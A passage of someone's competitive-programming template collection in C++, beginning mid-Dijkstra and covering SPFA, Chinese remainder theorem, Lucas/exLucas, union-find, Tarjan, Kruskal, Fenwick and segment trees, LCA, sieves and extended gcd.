while(!q.empty()){ int f=(q.top()).v; q.pop(); if(vis[f]) continue; for(int i=0;i<v[f].size();i++){ edge g=v[f][i]; if(dis[f]+g.w<dis[g.v]){ dis[g.v]=dis[f]+g.w; q.push((edge){g.v,dis[g.v]}); } } vis[f]=true; } } int main(){ cin>>n>>m; for(int i=1;i<=m;i++){ cin>>a>>b>>w; v[a].push_back((edge){b,w}); } dij(1); cout<<dis[n]; return 0; }SPFA
#pragma GCC optimize("-fdelete-null-pointer-checks,inline-functions-called-once,-funsafe-loop-optimizations,-fexpensive-optimizations,-foptimize-sibling-calls,-ftree-switch-conversion,-finline-small-functions,inline-small-functions,-frerun-cse-after-loop,-fhoist-adjacent-loads,-findirect-inlining,-freorder-functions,no-stack-protector,-fpartial-inlining,-fsched-interblock,-fcse-follow-jumps,-fcse-skip-blocks,-falign-functions,-fstrict-overflow,-fstrict-aliasing,-fschedule-insns2,-ftree-tail-merge,inline-functions,-fschedule-insns,-freorder-blocks,-fwhole-program,-funroll-loops,-fthread-jumps,-fcrossjumping,-fcaller-saves,-fdevirtualize,-falign-labels,-falign-loops,-falign-jumps,unroll-loops,-fsched-spec,-ffast-math,Ofast,inline,-fgcse,-fgcse-lm,-fipa-sra,-ftree-pre,-ftree-vrp,-fpeephole2",3) #pragma GCC target("avx,sse2,sse3,sse4,mmx") #include <iostream> #include <queue> #include <cstdio> #include <vector> #include <cstring> using namespace std; struct edge{int to,num;}; vector<edge> v[101]; queue<int> q; const int inf=99999999; int n,m,st,en,a,b,k,dis[101],ans; bool book[101]; void SPFA(int st){//关于SPFA，他已经死了 memset(dis,inf,sizeof dis); dis[st]=0,book[st]=true; q.push(st); while(!q.empty()){ int f=q.front(); q.pop(); book[f]=false; for(int i=0;i<v[f].size();i++){ if(dis[f]+v[f][i].num<dis[v[f][i].to]){ dis[v[f][i].to]=dis[f]+v[f][i].num; if(!book[v[f][i].to]){ q.push(v[f][i].to); book[v[f][i].to]=true; } } } } } void add(int a,int b,int k){ v[a].push_back((edge){b,k}); } int main(){ cin>>n>>m>>st; for(int i=1;i<=m;i++){ cin>>a>>b>>k; add(a,b,k); } SPFA(st); for(int i=1;i<=n;i++){ cout<<dis[i]<<" "; } return 0; }CRT&EXCRT
#pragma GCC optimize(2) #include <iostream> #include <cstring> #include <cstdio> #define int long long using namespace std; int a[10007],m[10007],n,ans=0x3f3f3f3f3f3f3f3f; int str[30007][128]; char cstr[128]; int exgcd(int a,int b,int &x,int &y){ if(b==0){ x=1,y=0; return a; } int g=exgcd(b,a%b,x,y); int t=x; x=y; y=t-a/b*y; return g; } int exCRT(){ int spe=a[1],lcm=m[1],e,f; for(int i=2;i<=n;i++){ int ri=((a[i]-spe)%m[i]+m[i])%m[i]; int g=exgcd(lcm,m[i],e,f); if(ri%g!=0) return 0x3f3f3f3f3f3f3f3f; int z=(e*ri/g%(m[i])+(m[i]))%(m[i]); spe=spe+z*lcm; lcm=lcm/g*m[i]; spe=(spe%lcm+lcm)%lcm; } return spe; } char ch; int ptr; signed main(){ memset(str,-1,sizeof str); scanf("%lld",&n); getchar(); for(int i=1;i<=n;i++){ scanf("%s",cstr); int le=strlen(cstr); for(ptr=0;ptr<le;ptr++){ str[i][cstr[ptr]]=ptr; } m[i]=le; } //for(int i=1;i<=n;i++){ //for(char c=1;c<=126;c++){ //printf("%lld ",str[i][c]); //} //printf("\n"); //} for(char c=1;c<=126;c++){ for(int i=1;i<=n;i++){ if(str[i][c]==-1) goto br; a[i]=str[i][c]; } //printf("I see U!\n"); //for(int i=1;i<=n;i++){ //printf("%lld+%lld ",a[i],m[i]); //} //printf("\n"); ans=min(ans,exCRT()); br:; } if(ans<0x3f3f3f3f3f3f) printf("%lld\n",ans+1); else printf("-1\n"); return 0; }#pragma GCC optimize(2) #include <iostream> #include <queue> #include <cstdio> #define int long long using namespace std; int n,a[10007],m[10007],M=1,ans; int exgcd(int a,int b,int &x,int &y){ if(b==0){ x=1,y=0; return a; } int d=exgcd(b,a%b,x,y); int t=x; x=y; y=t-a/b*y; return d; } signed main(){ scanf("%lld",&n); for(int i=1;i<=n;i++){ scanf("%lld%lld",&m[i],&a[i]); M=M*m[i]; } for(int i=1;i<=n;i++){ int Mi=M/m[i]; int e,f; int g=exgcd(Mi,m[i],e,f); int Ti=((e/g)%(m[i]/g)+m[i]/g)%(m[i]/g); ans=(ans+a[i]%M*Mi%M*Ti%M)%M; } printf("%lld",ans); return 0; }Lucas(m less&p less)&exLucas
#pragma GCC optimize(2) #include <iostream> #include <queue> #include <cstdio> #define int long long using namespace std; int t,fac[10009],inv[10009],ifac[10009]; void init(int p){ fac[0]=fac[1]=inv[0]=inv[1]=ifac[0]=1; for(int i=2;i<=p;i++){ fac[i]=fac[i-1]*i%p; inv[i]=(p-p/i)*inv[p%i]%p; } for(int i=1;i<=p;i++){ ifac[i]=ifac[i-1]*inv[i]%p; } for(int i=0;i<=10;i++){ //printf("%lld,%lld,%lld\n",fac[i],ifac[i],inv[i]); } return; } int C(int n,int m,int p){ if(m>n) return 0; return fac[n]*ifac[n-m]%p*ifac[m]%p; } int Lu_C(int n,int m,int p){ if(m==0) return 1; return C(n%p,m%p,p)*Lu_C(n/p,m/p,p)%p; } int n,m,p; signed main(){ scanf("%lld",&t); for(int i=1;i<=t;i++){ scanf("%lld%lld%lld",&n,&m,&p); init(p); printf("%lld\n",Lu_C(n+m,m,p)); } return 0; }#pragma GCC optimize(2) #include <iostream> #include <queue> #include <cstdio> using namespace std; int qpow(int a,int b,int p){ int ans=1; while(b){ if(b&1) ans=ans%p*a%p; a=a%p*a%p; b=b>>1; } return ans; } int C(int n,int m,int p){ if(m>n) return 0; int u=1,d=1; for(int i=1;i<=m;i++){ u=u*(n-i+1)%p; d=d*i%p; } return u*qpow(d,p-2,p)%p; } int Lu_C(int n,int m,int p){ if(m==0) return 1; return C(n%p,m%p,p)*Lu_C(n/p,m/p,p)%p; } int t,n,m,p; int main(){ scanf("%lld",&t); for(int i=1;i<=t;i++){ scanf("%lld%lld%lld",&n,&m,&p); printf("%lld\n",Lu_C(n,m,p)); } return 0; }#pragma GCC optimize(2) #include <iostream> #include <queue> #include <cstdio> #define int long long using namespace std; int qpow(int a,int b,int p){ int ans=1; while(b){ if(b&1) ans=ans%p*a%p; a=a%p*a%p; b=b>>1; } return ans; } int exgcd(int a,int b,int &x,int &y){ if(b==0){ x=1,y=0; return a; } int d=exgcd(b,a%b,x,y); int tmp=x; x=y; y=tmp-a/b*y; return d; } int inv(int a,int p){//a^{-1}%p int x,y; exgcd(a,p,x,y); return (x%p+p)%p; } int fac(int n,int und,int p){ if(n==0) return 1; int pro=1,els=1; for(int i=2;i<=p;i++) if(i%und) pro=pro*i%p; for(int i=2;i<=n%p;i++) if(i%und) els=els*i%p; return qpow(pro,n/p,p)%p*els%p*fac(n/und,und,p)%p; } int C(int n,int m,int und,int p){ if(m>n) return 0; int a=fac(n,und,p),b=fac(m,und,p),c=fac(n-m,und,p),cnt=0; for(int i=und;i<=n;i*=und) cnt+=n/i; for(int i=und;i<=m;i*=und) cnt-=m/i; for(int i=und;i<=n-m;i*=und) cnt-=(n-m)/i; return a%p*inv(b,p)%p*inv(c,p)%p*qpow(und,cnt,p)%p; } int exLu_C(int n,int m,int p){ int tmp=p,sum=0; for(int i=2;i*i<=tmp;i++){ if(tmp%i>0) continue; int cnt=0,prod=1; while(tmp%i==0){ tmp=tmp/i; cnt++; prod=prod*i; } int c=C(n,m,i,prod)%p; //printf("%lld ",c); sum=(sum%p+c*(p/prod)%p*inv(p/prod,prod)%p)%p; } if(tmp>1){ int c=C(n,m,tmp,tmp)%p; ///printf("%lld ",c); sum=(sum%p+c*(p/tmp)%p*inv(p/tmp,tmp)%p)%p; } //printf("\n"); return sum; } int n,m,p; signed main(){ scanf("%lld%lld%lld",&n,&m,&p); printf("%lld",exLu_C(n,m,p)); return 0; }并查集
#include<iostream> #include<cstdio> #include<cstring> #include<algorithm> #include<cstdlib> using namespace std; const int maxn = 500521; int n,m,p; int mi; int mj; int pi; int pj; int f[maxn]; inline int read(){ int x=0;int f=1;char c=getchar(); while(c<'0'||c>'9'){ if(c=='-')f=-f; c=getchar(); } while(c<='9'&&c>='0'){ x=x*10+c-'0'; c=getchar(); } return x*f; } int query(int x){ if(x == f[x])return x; else return f[x] = query(f[x]); } void merge(int x,int y){ int f1 = query(x); int f2 = query(y); if(f1 != f2){ if(rand()%2)f[f1] = f2; else f[f2] = f1; } return; } int main(){ n = read(); m = read(); p = read(); for(int i=1;i<=n;i++)f[i] = i; for(int i=1;i<=m;i++){ mi = read(); mj = read(); merge(mi,mj); } for(int i=1;i<=p;i++){ pi = read(); pj = read(); if(query(pi) == query(pj)){ printf("Yes\n"); } else printf("No\n"); } return 0; }tarjan强联通
#pragma GCC optimize(2) #include <bits/stdc++.h> using namespace std; vector<int> g[10007]; int low[10007],dfn[10007],vis[10007],cnt,csum,numc[10007],bnc[10007]; stack<int> stk; int n,m,a,b,ans; void tarjan(int u){ int v; dfn[u]=low[u]=++cnt; stk.push(u); vis[u]=true; for(int i=0;i<(g[u].size());i++){ v=g[u][i]; if(dfn[v]==0){ tarjan(v); low[u]=min(low[u],low[v]); }else{ if(vis[v]) low[u]=min(low[u],dfn[v]); } } if(dfn[u]==low[u]){//源点 csum++; do{//出栈 numc[csum]++; v=stk.top(); stk.pop(); bnc[v]=cnt; vis[v]=false; }while(u!=v); } } void add(int a,int b){ g[a].push_back(b); } int main(){ cin>>n>>m; for(int i=1;i<=m;i++){ cin>>a>>b; add(a,b); } for(int i=1;i<=n;i++){ if(dfn[i]==0){ tarjan(i); } } for(int i=1;i<=csum;i++){ if(numc[i]>1) ans++; } cout<<ans; return 0; }tarjan-割点，割边（桥）
#include <iostream> #include <vector> #include <cstdio> #include <cstring> using namespace std; vector<int> g[107]; int dfn[107],low[107],root=1; bool vis[107]; int n,m,a,b,cnt=0,f,x,ans; void tarjan(int u,int fa){ dfn[u]=low[u]=++cnt; int child=0; for(int i=0;i<g[u].size();i++){ int v=g[u][i]; if(dfn[v]==0){ child++; tarjan(v,u); low[u]=min(low[u],low[v]); if(low[v]>=dfn[u]){ if(child>1||u!=1) vis[u]=true; } }else{ if(v!=fa){ low[u]=min(low[u],dfn[v]); } } } } int main(){ while(true){ memset(vis,false,sizeof vis); memset(dfn,0,sizeof dfn); memset(low,0,sizeof low); cin>>n; if(n==0) break; for(int i=1;i<=n;i++){ g[i].clear(); } while(true){ cin>>f; if(f==0) break; for(int i=1;i<n;i++){ cin>>x; g[f].push_back(x); g[x].push_back(f); if(cin.get()=='\n') break; } } cnt=ans=0; tarjan(1,0); for(int i=1;i<=n;i++) if(vis[i]) ans++; cout<<ans<<endl; } }Kruskal
#include <iostream> #include <algorithm> #include <iomanip> using namespace std; struct edge{int u,v;double w;}g[1000007]; int n,m=1,cnt; int f[1000007]; double s,ans; int getf(int x){ if(f[x]==x) return x; return f[x]=getf(f[x]); } void init(){ for(int i=1;i<=n;i++){ f[i]=i; } } bool cmp(edge a,edge b){ return a.w<b.w; } int main(){ cin>>s>>n; init(); while(cin>>g[m].u>>g[m].v>>g[m].w) m++; sort(g+1,g+m+1,cmp); for(int i=1;i<=m;i++){ int x=getf(g[i].u); int y=getf(g[i].v); if(x==y) continue; f[x]=y; ans+=g[i].w; cnt++; } if(ans<=s&&cnt==n-1) cout<<"Need "<<fixed<<setprecision(2)<<ans<<" miles of cable\n"; else cout<<"Impossible\n"; return 0; }树状数组
#include <iostream> using namespace std; int n,m,b,l,r,tr[1000007]; char ch; int lowbit(int x){return x&-x;} int ask(int a){ int ans=0; while(a>0){ ans=ans+tr[a]; a=a-lowbit(a); } return ans; } void upd(int a,int x){ while(a<=n){ tr[a]=tr[a]+x; a=a+lowbit(a); } } int main(){ cin>>n>>m; for(int i=1;i<=m;i++){ cin>>ch; if(ch=='Q'){ cin>>b; cout<<ask(b)<<endl; } if(ch=='C'){ cin>>l>>r; upd(l,1); upd(r+1,-1); } } return 0; }线段树（区间查询，区间修改）
#include <iostream> #define int long long #define func(a,b) a+b #define E 0 using namespace std; struct node{ int lb,ub; int data; int tag; }tr[4*10000007]; int n,m,p,x,y,s,d[10000007]; void build(int k,int a,int b){ tr[k].lb=a;tr[k].ub=b;tr[k].tag=E; if(a==b){ tr[k].data=d[a]; return; } int mid=tr[k].lb+tr[k].ub>>1; build(k<<1,a,mid); build(k<<1|1,mid+1,b); tr[k].data=func(tr[k<<1].data,tr[k<<1|1].data); } void dtag(int k,int ls,int rs){ tr[k<<1].tag+=tr[k].tag; tr[k<<1|1].tag+=tr[k].tag; tr[k<<1].data+=tr[k].tag*(ls); tr[k<<1|1].data+=tr[k].tag*(rs); tr[k].tag=E; } void upd(int k,int x,int a,int b){ if(tr[k].lb>=a&&tr[k].ub<=b){ tr[k].data+=(tr[k].ub-tr[k].lb+1)*x; tr[k].tag+=x; return; } int mid=tr[k].lb+tr[k].ub>>1; dtag(k,mid-tr[k].lb+1,tr[k].ub-mid); if(a<=mid) upd(k<<1,x,a,b); if(b>mid) upd(k<<1|1,x,a,b); tr[k].data=func(tr[k<<1].data,tr[k<<1|1].data); } int query(int k,int a,int b){ if(tr[k].lb>=a&&tr[k].ub<=b){ return tr[k].data; } int mid=tr[k].lb+tr[k].ub>>1; dtag(k,mid-tr[k].lb+1,tr[k].ub-mid); int ans=E; if(a<=mid) ans=func(ans,query(k<<1,a,b)); if(b>mid) ans=func(ans,query(k<<1|1,a,b)); return ans; } signed main(){ cin>>n; cin>>m; for(int i=1;i<=n;i++){ cin>>d[i]; } build(1,1,n); for(int i=1;i<=m;i++){ cin>>p>>x>>y; if(p==1){ cin>>s; upd(1,s,x,y); } if(p==2){ cout<<query(1,x,y)<<"\n"; } } return 0; }LCA（倍增法）
#include <cstdio> #include <vector> #include <cmath> #define int long long using namespace std; int k=27; int n,m,x,y,root,f[40007][30],d[40007]; vector<int> g[40007]; void dfs(int u,int fa){ for(int i=0;i<g[u].size();i++){ int v=g[u][i]; if(v==fa) continue; f[v][0]=u; for(int j=1;j<=k;j++) f[v][j]=f[f[v][j-1]][j-1]; d[v]=d[u]+1; dfs(v,u); } } int lca(int x,int y){ if(d[x]<=d[y]) swap(x,y); for(int i=k;i>=0;i--) if(d[f[x][i]]>=d[y]) x=f[x][i]; if(x==y) return x; for(int i=k;i>=0;i--) if(f[x][i]!=f[y][i]) x=f[x][i],y=f[y][i]; return f[x][0]; } signed main(){ scanf("%lld",&n); for(int i=1;i<=n;i++){ scanf("%lld%lld",&x,&y); if(y==-1){ root=x; }else{ g[x].push_back(y); g[y].push_back(x); } } d[root]=1; dfs(root,0); scanf("%lld",&m); for(int i=1;i<=m;i++){ scanf("%lld%lld",&x,&y); int a=lca(x,y); if(a==x) printf("%lld\n",1); else if(a==y) printf("%lld\n",2); else printf("%lld\n",0); } return 0; }欧拉筛
#include <cstdio> #include <cstring> #define int long long using namespace std; int n,m=0,p[10000007]; bool v[10000007]; void init(){ for(int i=2;i<=n;i++){ if(!v[i]){ m=m+1; p[m]=i; } for(int j=1;j<=m;j++){ if(p[j]*i>n) break; v[p[j]*i]=true; if(i%p[j]==0) break; } } } signed main(){ scanf("%lld",&n); memset(v,false,sizeof v); init(); printf("%lld",m); return 0; }欧拉函数
#include <iostream> #define int long long using namespace std; int n,m,ans,phi,ans2; signed main(){ scanf("%lld",&n); m=phi=n; for(int i=2;i*i<=n;i++){ if(n%i==0){ phi=phi/i*(i-1); while(n%i==0) n=n/i; } } if(n>1) phi=phi/n*(n-1); for(int i=1;i*i<=m;i++){ if(m%i==0){ ans++; if(i*i!=m) ans++; } } printf("%lld",m-phi-ans+1); return 0; }exgcd
#include <cstdio> #define int long long using namespace std; void swap(int &a,int &b){ int tmp=a; a=b; b=tmp; } int exgcd(int a,int b,int &x,int &y){ if(b==0){ x=1,y=0; return a; } int d=exgcd(b,a%b,x,y); int tmp=x; x=y; y=tmp-a/b*y; return d; } int x,y,m,o,l,e,f,a,b,n; signed main(){ scanf("%lld%lld%lld%lld%lld",&x,&y,&m,&o,&l); a=o-m; b=l; n=x-y; if(a<0) a=-a,n=-n; int g=exgcd(a,b,e,f); if(n%g!=0){ printf("Impossible\n"); return 0; } int z=b/g; printf("%lld\n",(e*n/g%z+z)%z); }